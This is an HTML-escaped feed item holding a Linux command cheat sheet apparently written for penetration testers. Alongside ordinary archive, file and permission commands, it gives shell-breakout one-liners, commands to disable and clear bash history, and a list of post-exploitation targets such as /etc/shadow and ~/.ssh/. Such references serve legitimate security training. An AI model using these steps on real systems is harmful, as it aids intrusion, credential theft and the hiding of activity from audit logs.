    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar xf archive.tar&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Extract tar file Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar xvzf archive.tar.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Extract a tar.gz file Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar xjf archive.tar.bz2&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Extract a tar.bz2 file Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar ztvf file.tar.gz | grep blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Search inside a tar.gz file.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gzip -d archive.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Extract a gzip file Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;zcat archive.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Read a gz file Linux without decompressing.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;zless archive.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Same function as the &lt;code&gt;less&lt;/code&gt; command for .gz archives.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;zgrep &apos;blah&apos; /var/log/maillog*.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Search inside .gz archives on Linux, search inside of compressed log files.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;vim file.txt.gz&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Use vim to read .txt.gz files (my personal favorite).

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;upx -9 -o output.exe input.exe&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          UPX compress .exe file Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-compression-commands&quot;&gt;Linux Compression Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;zip -r file.zip /dir/*&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a .zip file on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar cf archive.tar files&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a tar file on Linux.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar czf archive.tar.gz files&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a tar.gz file on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tar cjf archive.tar.bz2 files&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a tar.bz2 file on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gzip file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a file.gz file on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-file-commands&quot;&gt;Linux File Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;df -h blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Display size of file / dir Linux.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;diff file1 file2&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Compare / Show differences between two files on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;md5sum file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Generate MD5SUM Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;md5sum -c blah.iso.md5&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;file blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Find out the type of file on Linux, also displays if file is 32 or 64 bit.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;  

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dos2unix&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Convert Windows line endings to Unix / Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;base64 &amp;lt; input-file &amp;gt; output-file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Base64 encodes input file and outputs a Base64 encoded file called output-file.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;base64 -d &amp;lt; input-file &amp;gt; output-file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Base64 decodes input file and outputs a Base64 decoded file called output-file.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;touch -r ref-file new-file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;rm -rf&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;
          Remove files and directories without prompting for confirmation.
        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;samba-commands&quot;&gt;Samba Commands&lt;/h3&gt;

&lt;p&gt;Connect to a Samba share from Linux.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbmount //server/share /mnt/win &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;username,password&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;password1
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbclient &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt; user &lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;server&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;share
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mount &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; cifs &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user,password&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;password //x.x.x.x/share /mnt/share&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;breaking-out-of-limited-shells&quot;&gt;Breaking Out of Limited Shells&lt;/h3&gt;

&lt;p&gt;Credit to G0tmi1k for these (or wherever he stole them from!).&lt;/p&gt;

&lt;p&gt;The Python trick:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;python&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;os.system&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;/bin/bash&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;misc-commands&quot;&gt;Misc Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;init 6&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Reboot Linux from the command line.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gcc -o output.c input.c&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Compile C code.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;gcc -m32 -o output.c input.c&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Cross compile C code, compile 32 bit binary on 64 bit Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;unset HISTORYFILE&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Disable bash history logging.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;rdesktop X.X.X.X&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Connect to RDP server from Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;kill -9 $$&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Kill current session.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;chown user:group blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Change owner of file or dir.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;chown -R user:group blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Change owner of file or dir and all underlying files / dirs - recersive chown.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;chmod 600 file&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Change file / dir permissions, see [Linux File System Permissons](#linux-file-system-permissions) for details.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;Clear bash history:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;      &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh user@X.X.X.X | &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /dev/null &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; ~/.bash_history
    &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;linux-file-system-permissions&quot;&gt;Linux File System Permissions&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Meaning&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;777&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rwxrwxrwx&lt;/code&gt; No restriction, global WRX any user can do anything.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;755&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rwxr-xr-x&lt;/code&gt; Owner has full access, others can read and execute the file.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;700&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rwx------&lt;/code&gt; Owner has full access, no one else has access.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;666&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rw-rw-rw-&lt;/code&gt; All users can read and write but not execute.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;644&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rw-r--r--&lt;/code&gt; Owner can read and write, everyone else can read.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;600&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          &lt;code&gt;rw-------&lt;/code&gt; Owner can read and write, everyone else has no access.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-file-system&quot;&gt;Linux File System&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Directory&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          / also know as &quot;slash&quot; or the root.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/bin&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Common programs, shared by the system, the system administrator and the users.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/boot&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Boot files, boot loader (grub), kernels, vmlinuz    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/dev&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Contains references to system devices, files with special properties.     

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Important system config files.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/home&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Home directories for system users.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/lib&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Library files, includes files for all kinds of programs needed by the system and the users.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/lost+found&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Files that were saved during failures are here.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/mnt&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Standard mount point for external file systems.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/media&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Mount point for external file systems (on some distros).    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/net&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Standard mount point for entire remote file systems - nfs.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/opt&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Typically contains extra and third party software.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/proc&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          A virtual file system containing information about system resources.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/root&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          root users home dir.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/sbin&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

            Programs for use by the system and the system administrator.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/tmp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

            Temporary space for use by the system, cleaned upon reboot.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/usr&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

            Programs, libraries, documentation etc. for all user-related programs.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/var&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

            Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-interesting-files--dirs&quot;&gt;Linux Interesting Files / Dir’s&lt;/h3&gt;

&lt;p&gt;Places that are worth a look if you are attempting to privilege escalate / perform post exploitation.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Directory&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Contains local Linux users.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/shadow&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Contains local account password hashes.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/group&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Contains local account groups.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/init.d/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Contains service init script - worth a look to see whats installed.    

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/hostname&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          System hostname.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/network/interfaces&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Network interfaces.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/resolv.conf&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          System DNS servers.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/profile&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          System environment variables.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;~/.ssh/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          SSH keys.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;~/.bash_history&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Users bash history log.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/var/log/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Linux system log files are typically stored here.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/var/adm/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          UNIX system log files are typically stored here.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;&lt;code&gt;/var/log/httpd/access.log&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Apache access log file typical path.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/etc/fstab&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          File system mounts.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</description>
        </item>
        
      
    
      
        
        <item>
